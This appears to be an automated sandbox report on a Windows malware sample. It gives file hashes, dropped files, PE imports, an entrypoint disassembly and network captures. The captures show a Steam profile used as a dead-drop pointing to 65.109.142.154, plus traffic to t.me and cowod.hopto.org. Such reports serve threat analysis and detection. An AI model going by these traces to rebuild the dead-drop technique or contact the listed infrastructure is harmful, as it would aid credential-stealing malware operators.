SHA-512:	CA28C3654348F0D89C7A3A207B352F204F3DB5F3F3CB29C718F7C00ACC74E231034AB57CB526E7741FEBA284C9129076CEFC84C7B3B2F1694FFD661E758C3522
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g............t...........X!..........$....*......$....]..........`.......8...........T...........X]..V............+...........,..............................................................................eJ.......-......GenuineIntel............T..............g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50C0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.6993440266909747
Encrypted:	false
SSDEEP:	192:R6l7wVeJYc6g6Y9XSUbgmfSaKuprM89bXisfnu9m:R6lXJr6g6YdSUbgmfSaKCXhfV
MD5:	B689F3E72B33EC7A26A4500B8FF00EA6
SHA1:	4E2647E86A5E4D42C1D0A2070E81EB1CAA535B03
SHA-256:	B7F4649A2C0CD04F02157D9039024499D1A3149B89725290D20E4E9DA691EDBE
SHA-512:	0FF86CA13C259C4D3D8E6391AD517C0D7E03D9382D3F6100B06EC422D37B6B927154ADD40953927FE5EB9C525662529B5B93E2F3836141285F8595753DA24264
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50F0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4593
Entropy (8bit):	4.46657828892958
Encrypted:	false
SSDEEP:	96:uIjfxnI7NR7VEJGLDIIaI05uZ92uq2uld:uItnYNR7aN6OQU7
MD5:	853DAB20B2AD7015178F4B3B99E0D570
SHA1:	C371FD89D5B63095F8DCDB69D94FA365D879B34D
SHA-256:	E68674E04ED9D53475A92035F096E4B1BE80A155AC31858C8C26A6D6F7698CB3
SHA-512:	341639ADF23F96D3690ACEFC00A4F753D67499DCACE86EA56EC1A1592C6D2C7E3EEB52BB10187A6D6BFB60591DBBB0AB69DEC0C5AF3D122C931FD8E107328788
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="551378" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199786602107[1].htm

Download File

Process:	C:\Users\user\Desktop\aZm1EZ2IYr.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3146), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34619
Entropy (8bit):	5.4012643309463915
Encrypted:	false
SSDEEP:	768:J7pqLjWYmmwB5DPgqaciNGAnTBv++nIjBtPF5zfukPco1AULTBv++nIjBtPF5x2P:J78LjWYmmwB5DPgqaccnTBv++nIjBtPJ
MD5:	E33D40189B3287C741A087AEF273EDDC
SHA1:	58B51F71B48BC71D732C0ECF1163966789028E60
SHA-256:	729BAF2F95511FBF29C7FBC4F88970137FDD48115C7F750FAF663CFD86F73FBC
SHA-512:	324843F9A688A2A9EC003AD7013E4CDFC3721563269B487933A5D92B02B66B9E5DE2A08A5C7AB56E014A04714AD948DDE8F2B7A917D742E692BAF693B70894EA
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: g0b4c https://65.109.142.154\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=nBdvNPPzc0qI&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Users\user\Desktop\aZm1EZ2IYr.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:/:/
MD5:	6990D911DF524479494DCF8F4E7ED771
SHA1:	6ECFC973C8D7AB67FC0D4543944480D0ED225FAE
SHA-256:	EC5FA004C2DA04D9AA021BD2A82A8E71AF1698E76B8BDED8676D35A588538B67
SHA-512:	4581C529293C39F80A2CCCBD9D5DE2F82E9B78DDE53CE577A636358DA98BD3E8BD51D07F7AC10D127F33DA77E334CA16C32D811325027EAF52660BC3EF0CB3AF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4654299658794665
Encrypted:	false
SSDEEP:	6144:RIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNBdwBCswSbY:yXD94+WlLZMM6YFHH+Y
MD5:	009C97A146E71ACA2F287B495932C3A2
SHA1:	076D3E6326107553E436254E27FAB1D8AB4FFCE5
SHA-256:	AF1C0A84EA0163E4CF41C3A4A1C315551148261713933EA8C1353F197FF05D75
SHA-512:	67A8D387E5C584F352DAB01954D4632D1E59B9DB21E07871BB10D27ED841E8EDF55AA543D72E67964D7EB8F5AB378C5AF3B674A9E4E4DA6BBE268CCDED98D590
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...?."..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.4851745888202075
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	aZm1EZ2IYr.exe
File size:	392'704 bytes
MD5:	1e1d5412616216fd90ea3cb6a87353db
SHA1:	da0ae99aebbde6433c8dc985e8c8b2305cdb9b54
SHA256:	765eb00651ebf6ddbc9c8d6e687292dae89f0d8260cea08505020992835208d8
SHA512:	fcffb031004aa683656cd2d8ada0703255dd6fd01bf7e2b811e919ee33d4dff9b80ca6f17f44436c2a10d6bafa0abc4fb6c5f3151f167524293302841b00fbe3
SSDEEP:	6144:MGO+83+N11n5au8LvOWjTMZG6wn+O8qkx0wKYHMCsHW+S0ZaaPG:MGOv3+N11n5ALvpjTACn+dqk0VYExdZa
TLSH:	51849D1623E130F6F2225534B6494721CBAB78341622F75FABC805656FE6BC1EE2C71B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?d.]^..]^..]^..2(..E^..2(..R^..2(..b^..T&..X^..T&..M^...'..^^..]^...^..2(..M^..2(..\^..Rich]^..........................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4184f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67043E94 [Mon Oct 7 20:03:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	118187c3a5a9d853faf932e2bfb655fe

Entrypoint Preview

Instruction
je 00007F1FD0E37EC5h
jne 00007F1FD0E37EC3h
mov eax, FEA66EE8h
push dword ptr [ebx+eax+75h]
add dword ptr [eax+000181E8h], edi
add byte ptr [ebx+eax+75h], dh
add dword ptr [eax-01741D18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01729318h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01729D18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172A718h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0170AB18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172BB18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172C518h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172CF18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0170BB18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172E318h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172ED18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-0172F718h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01708C18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01730B18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01731518h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-01731F18h], edi
jmp far eax
mov ebp, 74FFFE90h
add esi, dword ptr [ebp+01h]
mov eax, FE8CD1E8h
push dword ptr [ebx+eax+75h]
add dword ptr [eax+00000000h], edi

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bb80	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x270000	0xb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x271000	0x3338	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30000	0x290	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2e304	0x2e400	6b77308b876d8e37d6342ce65903a9c5	False	0.5125052787162162	Matlab v4 mat-file (little endian) , numeric, rows 4387547, columns 4387560	6.459615185396822	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x30000	0xc99e	0xca00	a8d553db2a2776dfd97934ef96d30060	False	0.6050239789603961	data	6.366577021451741	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x23206c	0x20000	79770914926047f0864a61e29dda9f6d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x270000	0xb0	0x200	4b7115c48fa1ed45d7fd2da2c2df5abb	False	0.279296875	data	4.097217764488071	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x271000	0x49b6	0x4a00	1c5071c930c30567d2f765a7544a7835	False	0.5681482263513513	data	5.494938881976661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x270058	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
msvcrt.dll	strncpy, malloc, _wtoi64, ??_V@YAXPAX@Z, atexit, memchr, strcpy_s, strchr, strtok_s, ??_U@YAPAXI@Z, _time64, srand, rand, memmove, __CxxFrameHandler3
KERNEL32.dll	GetEnvironmentStringsW, FreeEnvironmentStringsW, GetModuleFileNameA, HeapSize, WideCharToMultiByte, IsValidCodePage, GetOEMCP, ExitProcess, SetCriticalSectionSpinCount, FlsAlloc, HeapAlloc, GetCurrentProcess, HeapFree, VirtualFree, GetProcessHeap, WriteFile, VirtualAllocExNuma, Sleep, ReadFile, CreateFileW, lstrcatA, MultiByteToWideChar, GetTempPathW, GetLastError, lstrcmpiA, GetProcAddress, VirtualAlloc, GlobalMemoryStatusEx, ConvertDefaultLocale, lstrcmpiW, GetModuleHandleA, VirtualProtect, CloseHandle, lstrlenA, FreeLibrary, GetThreadContext, SetThreadContext, ReadProcessMemory, SetHandleCount, WriteProcessMemory, VirtualQueryEx, OpenProcess, GetComputerNameA, FileTimeToSystemTime, WaitForSingleObject, GetDriveTypeA, CreateProcessA, CreateDirectoryA, GetLogicalDriveStringsA, CreateThread, CreateFileA, GetFileSize, SetFilePointer, MapViewOfFile, UnmapViewOfFile, lstrcpynA, SystemTimeToFileTime, GetTickCount, GetLocalTime, CreateFileMappingA, GetFileInformationByHandle, lstrcpyA, GetCPInfo, HeapSetInformation, GetCommandLineA, HeapReAlloc, GetLocaleInfoW, LoadLibraryW, InterlockedExchange, SetConsoleCtrlHandler, IsProcessorFeaturePresent, GetCurrentThread, InterlockedDecrement, GetACP, GetCurrentThreadId, SetLastError, GetFileType, QueryPerformanceCounter, GetStartupInfoW, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringW, VirtualAllocEx, GetStringTypeW, InterlockedIncrement, TlsFree, RaiseException, IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA, GetUserDefaultLCID, TlsSetValue, TlsGetValue, TlsAlloc, GetModuleFileNameW, GetStdHandle, GetModuleHandleW, HeapDestroy, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, LeaveCriticalSection, FatalAppExitA, EnterCriticalSection, RtlUnwind, HeapCreate
USER32.dll	GetDesktopWindow, OpenInputDesktop, wsprintfW, IsDialogMessageW, MessageBoxA, GetWindowLongW, ReleaseDC, GetWindowContextHelpId, GetCursorPos, SetThreadDesktop, RegisterClassW, IsWindowVisible, CharToOemA
GDI32.dll	CreateDCA, GetDeviceCaps
ADVAPI32.dll	RegGetValueA, RegOpenKeyExA, GetUserNameA, GetCurrentHwProfileA
SHELL32.dll	SHFileOperationA
ole32.dll	CoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, CoInitializeEx
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear, VariantInit
SHLWAPI.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T08:35:25.223918+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.4	49740	65.109.142.154	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 08:35:20.985528946 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:20.985580921 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:20.985835075 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:21.006531954 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:21.006556034 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:22.951739073 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:22.951805115 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.002553940 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.002571106 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.002829075 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.002994061 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.008577108 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.055437088 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.728607893 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.728631020 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.728801966 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.728801966 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.728826046 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.728884935 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.748356104 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.748373985 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.748455048 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.748464108 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.748507023 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.760011911 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.760090113 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.768870115 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.768918991 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.768928051 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.768970966 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.770070076 CEST	49737	443	192.168.2.4	104.102.49.254
Oct 20, 2024 08:35:23.770078897 CEST	443	49737	104.102.49.254	192.168.2.4
Oct 20, 2024 08:35:23.790509939 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:23.790555000 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:23.790622950 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:23.790888071 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:23.790908098 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:25.223642111 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:25.223917961 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:25.227292061 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:25.227303028 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:25.227534056 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:25.227597952 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:25.227890968 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:25.275440931 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:26.036815882 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:26.036871910 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:26.037066936 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:26.037128925 CEST	49740	443	192.168.2.4	65.109.142.154
Oct 20, 2024 08:35:26.037146091 CEST	443	49740	65.109.142.154	192.168.2.4
Oct 20, 2024 08:35:26.053841114 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:26.053865910 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:26.053931952 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:26.054133892 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:26.054147005 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.125178099 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.125292063 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.157351017 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.157367945 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.157695055 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.157772064 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.159262896 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.203414917 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.468785048 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.468821049 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 20, 2024 08:35:27.468842983 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.468873978 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.469053030 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 20, 2024 08:35:27.469072104 CEST	443	49742	149.154.167.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 08:35:20.972177029 CEST	52714	53	192.168.2.4	1.1.1.1
Oct 20, 2024 08:35:20.980287075 CEST	53	52714	1.1.1.1	192.168.2.4
Oct 20, 2024 08:35:26.046403885 CEST	63943	53	192.168.2.4	1.1.1.1
Oct 20, 2024 08:35:26.053251028 CEST	53	63943	1.1.1.1	192.168.2.4
Oct 20, 2024 08:35:27.835844994 CEST	56798	53	192.168.2.4	1.1.1.1
Oct 20, 2024 08:35:27.844980001 CEST	53	56798	1.1.1.1	192.168.2.4
Oct 20, 2024 08:35:30.949796915 CEST	53	58232	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 20, 2024 08:35:20.972177029 CEST	192.168.2.4	1.1.1.1	0x166a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 20, 2024 08:35:26.046403885 CEST	192.168.2.4	1.1.1.1	0x665d	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Oct 20, 2024 08:35:27.835844994 CEST	192.168.2.4	1.1.1.1	0x5e77	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 08:35:20.980287075 CEST	1.1.1.1	192.168.2.4	0x166a	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 20, 2024 08:35:26.053251028 CEST	1.1.1.1	192.168.2.4	0x665d	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

65.109.142.154

t.me

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.102.49.254	443	7336	C:\Users\user\Desktop\aZm1EZ2IYr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 06:35:23 UTC	119	OUT	GET /profiles/76561199786602107 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-10-20 06:35:23 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 20 Oct 2024 06:35:23 GMT Content-Length: 35803 Connection: close Set-Cookie: sessionid=90a529e697100d7490088596; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C0e3d185a3e106e73b244decdec33a0ea; Path=/; Secure; HttpOnly; SameSite=None
